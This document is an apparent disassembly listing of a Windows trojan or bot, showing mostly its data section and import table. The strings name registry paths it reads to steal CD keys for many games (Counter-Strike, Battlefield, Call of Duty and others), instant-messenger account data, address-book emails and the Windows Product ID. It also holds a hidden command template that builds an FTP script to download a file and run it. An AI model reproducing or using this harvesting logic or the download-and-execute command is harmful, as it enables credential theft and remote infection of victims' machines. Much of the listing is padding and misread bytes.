aHalfLife	db '[Half-Life: ',0
		align 4
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
aGunmanChronicl	db '[Gunman Chronicles: ',0
		align 4
		dd 0
aSoftwareEle_10	db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aGlobalOperatio	db '[Global Operations: ',0
		align 4
		dd 0
aSoftwareEle_11	db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0
		dd 3 dup(0)
aFreedomForce	db '[Freedom Force: ',0
		align 4
aSoftwareEle_12	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4649465Bh, 30322041h, 203A3330h, 0
aSoftwareEle_13	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aFifa2002	db '[FIFA 2002: ',0
		align 10h
aKey_0		db 'Key',0
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0
		align 4
		dd 2 dup(0)
aCounterStrike	db '[Counter-Strike: ',0
		align 4
		dd 0
aSoftwareWestwo	db 'SOFTWARE\Westwood\Tiberian Sun',0
		align 4
		dd 2 dup(0)
aCommandAndConq	db '[Command and Conquer: Tiberian Sun: ',0
		align 10h
aSerial		db 'Serial',0
		align 4
aSoftwareWest_0	db 'SOFTWARE\Westwood\Red Alert 2',0
		align 4
		dd 0
aCommandAndCo_0	db '[Command and Conquer: Red Alert2: ',0
		align 10h
		dd 2 dup(0)
aSoftwareEle_14	db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
		db 'ro Hour\ergc',0
		align 4
		dd 4 dup(0)
aCommandAndCo_1	db '[Command and Conquer: Generals: Zero Hour: ',0
		dd 2 dup(0)
aSoftwareEle_15	db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0
		dd 3 dup(0)
aCommandAndCo_2	db '[Command and Conquer: Generals: ',0
		align 10h
aSoftwareEle_16	db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
		dd 3 dup(0)
aBlackAndWhite	db '[Black and White: ',0
		align 4
		dd 0
aSoftwareEle_17	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
		dd 3 dup(0)
aBattlefield1_0	db '[Battlefield 1942: Vietnam:',0
		dd 2 dup(0)
aSoftwareEle_18	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
		db 'me\ergc',0
		align 10h
aBattlefield1_1	db '[Battlefield 1942: The Road To Rome: ',0
		align 10h
aSoftwareEle_19	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
		db ' of WWII\ergc',0
		align 10h
		dd 4 dup(0)
aBattlefield1_2	db '[Battlefield 1942: Secret Weapons Of WWII: ',0
		dd 2 dup(0)
		db 53h
aOftwareElectro	db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
		dd 3 dup(0)
aBattlefield194	db '[Battlefield 1942: ',0 ; DATA XREF: ___:004457C0o
		align 10h
aYahooS		db 'yahoo: %s',0        ; DATA XREF: ___:00434FBAo
		align 4
aYahooUserId	db 'Yahoo! User ID',0   ; DATA XREF: ___:00434F7Eo
		align 10h
aSoftwareYahooP	db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:00434F40o
		align 4
		dd 0
dword_44692C	dd 3A6D6961h, 732520h, 0dword_446938	dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric	db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion'
					; DATA XREF: ___:00434E82o
		db '\Login',0
		dd 4 dup(0)
aFoundCodCdkeyS	db 'Found COD CDKey (%s).',0
		align 4
		dd 0
aTsh3xswtypwguu	db 'TSH3XSWTYPWGUUTXE660',0
		align 8
aSMainS		db '%s\main\%s',0
		align 8
aCodkey		db 'codkey',0
		align 10h
aSoftwareActi_0	db 'Software\Activision\Call of Duty',0
		align 8
aFoundSof2Cdkey	db 'Found SOF2 CDKey (%s).',0
		align 10h
		dd 0
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
		dd 0
		dd 625C7325h, 5C657361h, 255C706Dh, 73h
aInstallpath	db 'InstallPath',0
		dd 0
dword_446A6C	dd 3A6E736Dh, 732520h, 0dword_446A78	dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2	db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv'
					; DATA XREF: ___:00435447o
		db 'ice',0
		align 4
		dd 3 dup(0)
aFoundEmailS_	db 'Found EMail (%s).',0 ; DATA XREF: ___:004353ECo
		align 10h
aSoftwareMicr_1	db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004352BEo
		align 4
		dd 2 dup(0)
aFoundWindowsPr	db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4356F0+546o
		align 4
		dd 2 dup(0)
aProductid	db 'ProductId',0        ; DATA XREF: sub_4356F0+52Bo
		align 4
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion',0
					; DATA XREF: sub_4356F0+4FEo
		align 4
		dd 2 dup(0)
aHkuS		db 'HKU: %s',0          ; DATA XREF: sub_4356F0+4A4o
		align 8
aHkcrS		db 'HKCR: %s',0         ; DATA XREF: sub_4356F0+3BBo
		align 4


loc_446BA4:				; DATA XREF: sub_4356F0+2D3o
		dec	eax
		dec	ebx
		inc	ebx
		inc	ebx
		cmp	ah, [eax]
		and	eax, 73h


loc_446BAF:				; DATA XREF: sub_4356F0+1EBo
		add	[eax+4Bh], cl
		dec	esp
		dec	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_446BBB:				; DATA XREF: sub_4356F0+103o
		add	[eax+4Bh], cl
		inc	ebx
		push	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_446BC7:				; DATA XREF: ___:00435EB6o
					; ___:00436110o ...
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cx, 0FFFFh


loc_446BD8:				; CODE XREF: ___:00446BDDj
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_446BD8
; ---------------------------------------------------------------------------
		db 0
		dd 0
aStartMinCmd_ex	db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s '
					; DATA XREF: ___:0043633Bo
		db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt'
		db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0
		dd 0Ch dup(0)
off_446CD0	dd offset off_43E1D4	; DATA XREF: ___:off_43E318o
					; ___:0043E354o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		align 10h
		dd 1, 9Bh dup(0)
byte_446F60	db 0			; DATA XREF: sub_4034E0+95o
					; sub_404640+200o ...
		align 4
dword_446F64	dd 0							; sub_4245F0+11o ...
dword_446F68	dd 0		; resolved to->KERNEL32.Process32Next					; ___:0040D3DFr ...
		align 10h
dword_446F70	dd 0							; ___:0040D345w ...
		dd 8 dup(0)
dword_446F94	dd 41h dup(0)						; ___:0040D380o ...
dword_447098	dd 0							; ___:loc_40D3D4r ...
dword_44709C	dd 0		; resolved to->KERNEL32.Process32First					; ___:0040D34Fr ...
dword_4470A0	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_40D580+CAw
dword_4470A4	dd 0							; sub_40D580+E3r
		dd 11h dup(0)
dword_4470EC	dd 0							; sub_40FF60+47Dr
dword_4470F0	dd 0							; sub_40FF60+515r ...
dword_4470F4	dd 0							; sub_40FF60+655r ...
dword_4470F8	dd 0							; sub_40FF60+B79r ...
dword_4470FC	dd 0							; sub_40FF60+74Br
dword_447100	dd 0							; sub_40FF60+828r
dword_447104	dd 0							; sub_40FF60+77Cr
dword_447108	dd 0							; sub_40FF60+4DDr ...
dword_44710C	dd 0							; sub_40FF60+311r
dword_447110	dd 0							; sub_40FF60+34Dr ...
dword_447114	dd 0							; sub_40FF60+33Dr
dword_447118	dd 0							; sub_40FF60+3D2r
dword_44711C	dd 0							; sub_40FF60+E93r
dword_447120	dd 0							; sub_40FF60+1220r ...
dword_447124	dd 0							; sub_411FE0+4DAr
dword_447128	dd 0							; sub_40FF60+683r
dword_44712C	dd 0							; sub_40FF60+6B5r
dword_447130	dd 0							; sub_40FF60+1252r
		dd 5 dup(0)
dword_447148	dd 10h dup(0)						; ___:0040405Fo ...
		db 2 dup(0)
byte_44718A	db 0			; DATA XREF: sub_409A30r sub_409AA0r
		align 4
		db 3 dup(0)
byte_44718F	db 0			; DATA XREF: sub_40D580+10Fr
		db 0
byte_447191	db 0			; DATA XREF: sub_40DB10r
word_447192	dw 0			; DATA XREF: sub_40DB10+9o
		dd 44h dup(0)
		db 3 dup(0)
byte_4472A7	db 0			; DATA XREF: ___:00412ECAo
					; ___:00412F7Fo ...
		db 3 dup(0)
byte_4472AB	db 0			; DATA XREF: sub_41F860:loc_41F89Dr
		align 10h
dword_4472B0	dd 12h dup(0)						; sub_40FF60+114o
		db 0
byte_4472F9	db 3 dup(0)		; DATA XREF: ___:00408AEBo
					; sub_40FF60+159o ...
		dd 11h dup(0)
		db 2 dup(0)
word_447342	dw 0			; DATA XREF: ___:00408AC2o
					; sub_40FF60+132o
		dd 6 dup(0)
word_44735C	dw 0			; DATA XREF: sub_40FF60+1E1r
		align 10h
		dd 0Ah dup(0)
		db 3 dup(0)
byte_44738B	db 0			; DATA XREF: ___:00408B14o
					; sub_40FF60+17Co ...
		dd 12h dup(0)
dword_4473D4	dd 12h dup(0)						; sub_40FF60+F7o ...
		db 0
byte_44741D	db 3 dup(0)		; DATA XREF: ___:00408A4Do
					; sub_40FF60+D0o ...
		dd 23h dup(0)
		db 3 dup(0)
byte_4474AF	db 0			; DATA XREF: ___:00408B3Do
					; sub_40FF60+19Ao
		dd 24h dup(0)
		db 0
byte_447541	db 3 dup(0)		; DATA XREF: sub_425020+2Bo
					; sub_425020+37o
		dd 11h dup(0)
		db 2 dup(0)
word_44758A	dw 0			; DATA XREF: ___:00412E9Ao
					; ___:00412EB9o ...
		dd 3Ch dup(0)
		db 3 dup(0)
dword_44767F	dd 0							; sub_41EF30+154r ...
		align 4
		dd 35h dup(0)
		db 0
byte_447759	db 0			; DATA XREF: sub_41B950+18r
		align 4
		dd 36h dup(0)
byte_447834	db 0			; DATA XREF: sub_40FF60+842r
		align 4
		dd 0Bh dup(0)
dword_447864	dd 18h dup(0)						; sub_40ED70+97o ...
		db 2 dup(0)
byte_4478C6	db 0			; DATA XREF: sub_404C70+258r
					; sub_41D830+671r
		align 4
		dd 11h dup(0)
		db 3 dup(0)
byte_44790F	db 0			; DATA XREF: sub_404C70:loc_404EE0r
					; sub_41D830:loc_41DEB9r
		dd 0Bh dup(0)
		db 3 dup(0)
byte_44793F	db 0			; DATA XREF: sub_404C70+279o
					; sub_41D830+692o ...
		dd 12h dup(0)
dword_447988	dd 2Bh dup(0)						; sub_41EF30+630o ...
dword_447A34	dd 0				dd 11h dup(0)
		db 0
dword_447A7D	dd 0				align 4
		dd 0D9h	dup(0)
byte_447DE8	db 0			; DATA XREF: sub_41EF30+146r
					; sub_41EF30+5EEr
		align 4
		dd 3A8h	dup(0)
		db 2 dup(0)
word_448C8E	dw 0			; DATA XREF: sub_404640+1BDo
					; sub_404B10+31o ...
		db 2 dup(0)
word_448C92	dw 0			; DATA XREF: sub_404B10+4o
		dd 1Ch dup(0)
		db 2 dup(0)
word_448D06	dw 0			; DATA XREF: sub_407660+36o
					; sub_4076F0+3Eo ...
		dd 26h dup(0)
dword_448DA0	dd 86h dup(0)						; sub_404C70+27Eo ...
		db 3 dup(0)
byte_448FBB	db 0			; DATA XREF: sub_425640+3Bw
					; sub_4256B0+7Ew ...
		dd 7Fh dup(0)
		db 3 dup(0)
dword_4491BB	dd 0							; sub_4256B0+4Fw ...
dword_4491BF	dd 0							; ___:004240BDw ...
dword_4491C3	dd 0							; sub_4256B0+5Dr ...
dword_4491C7	dd 0							; sub_4256B0+8Cr ...
dword_4491CB	dd 0							; sub_4256B0+9Dr
dword_4491CF	dd 0							; ___:004240F1r ...
byte_4491D3	db 0			; DATA XREF: sub_425640+42w
					; sub_4256B0+85w
dword_4491D4	dd 301Ch dup(0)
		db 3 dup(0)
byte_455247	db 0			; DATA XREF: ___:off_444F30o
dword_455248	dd 0EB85h dup(0)
dword_49005C	dd 0B0A3h dup(0)		db 0
byte_4BC2E9	db 3 dup(0)		; DATA XREF: ___:off_402009o
dword_4BC2EC	dd 6058h dup(0)
		db 0
byte_4D444D	db 3 dup(0)		; DATA XREF: ___:off_44432Co
		dd 6DAh	dup(0)
		db 3 dup(0)
dword_4D5FBB	dd 0							; sub_4258E0+13o
		align 10h
		dd 39h dup(0)
		db 0
byte_4D60A5	db 3 dup(0)		; DATA XREF: sub_404C20+1Eo
					; sub_404C70+65o ...
		dd 5 dup(0)
byte_4D60BC	db 0			; DATA XREF: sub_404C70+292w
					; sub_404C70+4EEw
dword_4D60BD	dd 0							; sub_422A40:loc_4231C4r ...
		align 4
		dd 0
		db 0
dword_4D60C9	dd 0							; sub_404C20+2Aw
byte_4D60CD	db 3 dup(0)		; DATA XREF: ___:00412EF4o
					; ___:00412F17o
		dd 9 dup(0)
		db 3 dup(0)
dword_4D60F7	dd 0							; sub_427AD0:loc_427BC7r
		align 4
		dd 2Fh dup(0)
		db 3 dup(0)
byte_4D61BB	db 0			; DATA XREF: sub_425870+16o
					; sub_4258A0+19o
		db 3 dup(0)
byte_4D61BF	db 0			; DATA XREF: sub_4257A0+4Co
		dd 6Fh dup(0)
		db 3 dup(0)
byte_4D637F	db 0			; DATA XREF: ___:004081D8o
					; ___:00408664o ...
		dd 8 dup(0)
dword_4D63A0	dd 0				dd 51h dup(0)
		db 0
byte_4D64E9	db 0			; DATA XREF: sub_426820:loc_4268D0r
					; sub_426CE0:loc_426D95r ...
		align 4
		dd 9Eh dup(0)
		db 0
dword_4D6765	dd 0							; sub_426CE0+7Dw ...
		align 4
dword_4D676C	dd 198Fh dup(0)
		db 0
byte_4DCDA9	db 3 dup(0)		; DATA XREF: .tqn_:00607002o
					; .tqn_:006070ACo
		dd 54Ah	dup(0)
		db 0
byte_4DE2D5	db 3 dup(0)		; DATA XREF: ___:00419E93o
					; sub_419F50+13o
		dd 1EB9h dup(0)
		db 3 dup(0)
byte_4E5DBF	db 0			; DATA XREF: sub_426A60+1Do
		dd 21h dup(0)
		db 0
byte_4E5E45	db 3 dup(0)		; DATA XREF: ___:00419EA3o
		dd 235h	dup(0)
		db 3 dup(0)
byte_4E671F	db 0			; DATA XREF: sub_426A60+2Fo
		dd 1D5h	dup(0)
byte_4E6E74	db 0			; DATA XREF: sub_404C70+299w
					; sub_40FF60:loc_40FFA2r ...
byte_4E6E75	db 3 dup(0)		; DATA XREF: sub_404C70+235o
					; sub_404C70+87Ao ...
		dd 4 dup(0)
		db 2 dup(0)
word_4E6E8A	dw 0			; DATA XREF: sub_404C70+2D4o
					; ___:00408678o ...
		dd 0Fh dup(0)
		db 0
byte_4E6EC9	db 0			; DATA XREF: sub_41F860+31w
					; sub_41F860+47w ...
		db 0
byte_4E6ECB	db 0			; DATA XREF: sub_418490+21o
					; sub_41D830+341o ...
dword_4E6ECC	dd 7522h dup(0)
dword_504354	dd 0AC2h dup(0)	dword_506E5C	dd 1000h dup(0)						; ___:00419A9Do ...
dword_50AE5C	dd 333h	dup(0)						; ___:00419AB8o ...
dword_50BB28	dd 0							; sub_41A010+1Br ...
		dd 3 dup(0)
dword_50BB38	dd 0							; ___:0041FB3Dw ...
dword_50BB3C	dd 0							; sub_41FA90+2Aw ...
dword_50BB40	dd 0		dword_50BB44	dd 0							; ___:0041FB5Bw
dword_50BB48	dd 0		dword_50BB4C	dd 0							; ___:0041FB67w ...
dword_50BB50	dd 0							; ___:0041FB6Dw ...
dword_50BB54	dd 0							; ___:00420DA9o
dword_50BB58	dd 0							; sub_41FA90:loc_41FAB4r ...
dword_50BB5C	dd 0							; ___:0041FB81w
dword_50BB60	dd 0							; sub_420530+41w ...
dword_50BB64	dd 0							; sub_420530+7Fr
dword_50BB68	dd 0							; sub_420530+92r ...
dword_50BB6C	dd 0							; sub_420530+148r
		dd 3 dup(0)
dword_50BB7C	dd 0							; ___:0041C1A5o
dword_50BB80	dd 0							; sub_423720+5r ...
dword_50BB84	dd 0							; ___:00423EB1r ...
		dd 7CEh	dup(0)
dword_50DAC0	dd 6 dup(0)						; ___:00423DB2o ...
dword_50DAD8	dd 196h	dup(0)						; sub_423660+6Do
dword_50E130	dd 0		word_50E134	dw 0			; DATA XREF: sub_424E90+A9r
		align 4
byte_50E138	db 0			; DATA XREF: sub_4254E0:loc_425540r
					; sub_4254E0+97w
		align 4
dword_50E13C	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_426820+D9r
dword_50E140	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_426820+45r
dword_50E144	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_426820+54r ...
		dd 0
dword_50E14C	dd 80h dup(0)						; sub_426A60+129o
dword_50E34C	dd 0		dword_50E350	dd 0				dd 1Dh dup(0)
dword_50E3C8	dd 0							; ___:0042B11Dr ...
dword_50E3CC	dd 0							; sub_42CB10:loc_42CBA6r ...
dword_50E3D0	dd 0		; resolved to->WS2_32.connect					; sub_431280+2Dr ...
dword_50E3D4	dd 0		dword_50E3D8	dd 0							; sub_430270r ...
dword_50E3DC	dd 0		dword_50E3E0	dd 0							; sub_42F6B0+111w ...
dword_50E3E4	dd 0							; sub_42F6B0+F6r ...
dword_50E3E8	dd 0							; ___:loc_4303B0r
dword_50E3EC	dd 0		; resolved to->KERNEL32.InterlockedCompareExchange					; sub_430FE0+2Cr ...
		dd 2 dup(0)
		dd 0
		dd 139h	dup(0)
dword_50E8E0	dd 10h dup(0)						; sub_430180:loc_4301B0o ...
dword_50E920	dd 8 dup(0)						; sub_42F540+25o ...
dword_50E940	dd 8 dup(0)						; sub_430690+25o ...
dword_50E960	dd 8 dup(0)						; sub_431560+84o ...
dword_50E980	dd 8 dup(0)						; sub_431560+8Bo ...
dword_50E9A0	dd 9 dup(0)						; sub_42F6B0:loc_42F7C7o ...
		dd 0FFFFFFFFh, 3 dup(0)
		dd 0FFFFFFFFh, 18Ah dup(0)
; ---------------------------------------------------------------------------
		retf	0AEB6h
; ---------------------------------------------------------------------------
		db 7Fh
; ---------------------------------------------------------------------------
		retf	0AEB6h
; ---------------------------------------------------------------------------
		db 7Fh
; ---------------------------------------------------------------------------
		retf	0AEB6h
; ---------------------------------------------------------------------------
		db 7Fh
; ---------------------------------------------------------------------------
		retf	0AEB6h
; ---------------------------------------------------------------------------
		db 7Fh
; ---------------------------------------------------------------------------
		retf	0AEB6h
; ---------------------------------------------------------------------------
		db 7Fh
		dd 5 dup(467E6C3Bh), 5 dup(7880050Fh), 5 dup(53A6B7B1h)
		dd 5 dup(2957278Bh), 5 dup(6B42D42Eh), 5 dup(21124241h)
		dd 5 dup(19859DC1h), 5 dup(1902FF23h), 5 dup(4DF78446h)
		dd 5 dup(2529ABE0h), 1Eh dup(0)
		dd 6B42D42Eh, 10h dup(0)
		dd 2529ABE0h, 58h dup(0)
		dd 53A6B7B1h, 1Bh dup(0)
		dd 1902FF23h, 14h dup(0)
		dd 467E6C3Bh, 52h dup(0)
; ---------------------------------------------------------------------------
		retf	0AEB6h
; ---------------------------------------------------------------------------
		db 7Fh
		dd 1Bh dup(0)
		dd 4DF78446h, 0Bh dup(0)
		dd 21124241h, 0Ch dup(0)
		dd 2957278Bh, 2Bh dup(0)
		dd 19859DC1h, 11h dup(0)
		dd 7880050Fh, 0Ah dup(0)
		dd 2A102EFh, 2A20000h, 2A30000h
dword_50F710	dd 2A3154Eh			dd 2A316F5h
dword_50F718	dd 2A31946h			dd 2A31C94h, 2A40000h
dword_50F724	dd 2A50000h			dd 2A60000h, 2A6037Dh, 2A606BEh, 2A60A0Dh
dword_50F738	dd 2A70000h						; sub_40E7A0+25Ar ...
dword_50F73C	dd 2A70542h	dword_50F740	dd 2A707FAh			dd 2A70935h, 2A80000h
dword_50F74C	dd 2A8036Ch						; sub_40ED70+15Er ...
		dd 2A80610h
dword_50F754	dd 2A90000h						; sub_40E7A0+22Cr
		dd 2AA0000h
dword_50F75C	dd 2AA01C7h						; sub_4207E0+285r ...
		dd 2AB0000h
dword_50F764	dd 2AC0000h						; sub_40E7A0+24Cr
		dd 10h dup(0)
		dd 76F36C5Bh, 0Bh dup(0)
		dd 2880000h, 288012Dh, 2890000h, 2890645h, 2890841h, 2890B31h
		dd 2890D52h, 28A0000h, 28A06A8h, 28A0A44h, 28A0E1Eh, 28B0000h
		dd 28B0662h, 28B0697h, 28B0974h, 28C0000h, 28C0377h, 28C0717h
		dd 28C08B7h, 28C0C4Dh, 28D0000h, 28D056Ah, 28D060Ch, 28D08D2h
		dd 28D0A98h, 28D0C60h, 28E0000h, 28E01EDh, 28E03CEh, 28E057Dh
		dd 28E071Eh, 28E07B9h
dword_50F858	dd 28F0000h	dword_50F85C	dd 28F078Ah	dword_50F860	dd 28F08B8h			dd 7C901005h, 7C9010EDh, 28F0A9Bh, 28F0AD0h
dword_50F874	dd 2900000h						; sub_420530+FEr
		dd 29005B5h, 2900B01h, 2910000h, 2910364h, 2920000h, 2930000h
		dd 2930847h, 2940000h, 2950000h, 2950856h
dword_50F8A0	dd 2960000h						; sub_420530:loc_42057Cr ...
dword_50F8A4	dd 2960743h						; sub_40FF60+47r ...
; ---------------------------------------------------------------------------
		retn	9607h
; ---------------------------------------------------------------------------
		db 2
		dd 2960961h, 2970000h, 2980000h, 29810A1h, 2990000h, 29A0000h
dword_50F8C4	dd 29A17DFh			dd 29A19D0h, 29A1D35h
dword_50F8D0	dd 29B0000h						; sub_41B4B0+2Fr ...
		dd 29B0229h
dword_50F8D8	dd 29B0989h						; sub_4203D0+2Er ...
		dd 29C0000h, 29C041Dh, 29D0000h
dword_50F8E8	dd 29D03E9h			dd 29D068Ah, 29E0000h, 29F0000h, 29F12A3h, 29F1D0Eh, 2A00000h
		dd 2A006E6h, 2A00B37h, 2A00C6Eh, 1Ah dup(0)
		dd 71B2578Ch, 71B25099h, 0Bh dup(0)
dword_50F9AC	dd 760AC190h			dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h
		dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh, 0Dh dup(0)
		dd 77C4EE2Fh, 77C35C94h, 77C3537Ch, 77C1F1DBh, 77C1F1A4h
		dd 77C623D8h, 77C4D675h, 77C227FAh, 77C1EEEBh, 77C617ACh
		dd 77C32DAEh, 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h
		dd 77C40BB1h, 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h
		dd 77C3A3DBh, 77C4186Ah
dword_50FA60	dd 77C3F931h	; resolved to->MSVCRT.sprintf					; sub_42D2C0+53r ...
dword_50FA64	dd 77C1F2BCh	; resolved to->MSVCRT._errno		dd 77C371FAh, 77C36DF2h, 77C39D67h, 77C1C561h
dword_50FA78	dd 77C5F988h	; resolved to->MSVCRT._pctype; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0C0h, 0C2h, 77h
dword_50FA80	dd 77C40E13h	; resolved to->MSVCRT.fprintfdword_50FA84	dd 77C5FC80h	; resolved to->MSVCRT._iob					; sub_42CB10+4Ar ...
; ---------------------------------------------------------------------------
		imul	dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C41B72h
dword_50FA90	dd 77C47BE0h	; resolved to->MSVCRT.strrchrdword_50FA94	dd 77C4173Bh	; resolved to->MSVCRT.fwritedword_50FA98	dd 77C4139Ch	; resolved to->MSVCRT.fseekdword_50FA9C	dd 77C4624Eh	; resolved to->MSVCRT._stricmpdword_50FAA0	dd 77C41574h	; resolved to->MSVCRT.ftelldword_50FAA4	dd 77C411FBh	; resolved to->MSVCRT.fread		dd 77C40E76h
dword_50FAAC	dd 77C47E61h	; resolved to->MSVCRT.wcscat					; ___:0041C2DAr
; ---------------------------------------------------------------------------
		adc	al, dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C40AB1h, 77C4FA10h
dword_50FABC	dd 77C371D3h	; resolved to->MSVCRT.rand					; sub_41B950+17Er ...
		dd 77C371BCh
dword_50FAC4	dd 77C2C21Bh	; resolved to->MSVCRT.free					; sub_42DFD0+34r ...
		dd 77C2C407h
dword_50FACC	dd 77C47920h	; resolved to->MSVCRT.strncat		dd 77C39E7Eh
dword_50FAD4	dd 77C47A50h	; resolved to->MSVCRT.strncmp					; sub_42CB10+90r
dword_50FAD8	dd 77C3FA76h	; resolved to->MSVCRT._snprintf		db 90h
		db 0CFh, 0C1h, 77h
dword_50FAE0	dd 77C47660h	; resolved to->MSVCRT.strchr		db 8Ah,	0FFh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------
		mul	byte ptr [esi]
		retn	0E777h
; ---------------------------------------------------------------------------
		db 14h,	0C2h, 77h
		dd 77C29CC5h
dword_50FAF4	dd 77C47CE5h	; resolved to->MSVCRT.strtok					; sub_41BC90+5Dr
dword_50FAF8	dd 77C47C60h	; resolved to->MSVCRT.strstr					; sub_40FF60+1126r ...
dword_50FAFC	dd 77C47A90h	; resolved to->MSVCRT.strncpy					; ___:00419BDAr
		dd 77C29CDDh, 77C293C7h
dword_50FB08	dd 77C1BF18h	; resolved to->MSVCRT.atoi					; sub_422A40+203r ...
		dd 77C35F0Dh, 77C46170h
dword_50FB14	dd 77C5F97Ch	; resolved to->MSVCRT.__mb_cur_max		dd 77C46125h
		dd 77C46320h
		dd 19h dup(0)
		dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh	dup(0)
		dd 7CA41110h, 0Bh dup(0)
		dd 2A10000h
off_50FBF0	dd offset sub_5EA1BD	; DATA XREF: ___:00419EBDr
					; sub_419F50+2Dr ...
		dd 0Bh dup(0)
dword_50FC20	dd 71AB2B66h	; resolved to->WS2_32.ntohs		dd 71AB951Eh, 71AB3E00h
dword_50FC2C	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_425020:loc_4250C9r ...
dword_50FC30	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_42A5F0:loc_42A6ABr
		dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h
dword_50FC44	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastError		dd 71AB4544h, 71AB88D3h
dword_50FC50	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_42B540+E8r
		dd 71AB2BC0h
dword_50FC58	dd 71AB2D0Fh	; resolved to->WS2_32.recvfromdword_50FC5C	dd 71AB2C69h	; resolved to->WS2_32.sendto					; sub_42A5F0+F9r
		dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh
		dd 71AB2A5Eh
dword_50FC78	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa		dd 71AB2BC0h
dword_50FC80	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_41A6D0+48r ...
dword_50FC84	dd 71AC1028h	; resolved to->WS2_32.acceptdword_50FC88	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_41F860+198r ...
dword_50FC8C	dd 71AB428Ah	; resolved to->WS2_32.send					; ___:004216E1r ...
dword_50FC90	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_427AD0+18Dr ...
		dd 71AB2BF4h, 71ABE479h, 71AC0B50h, 71AB4FD4h, 11h dup(0)
		dd 76D6AC1Dh, 4C5h dup(0)
___		ends

; Section 2. (virtual address 00111000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00111000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 511000h
unk_511000	db    0			; DATA XREF: Themida_:0057A3CCo
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
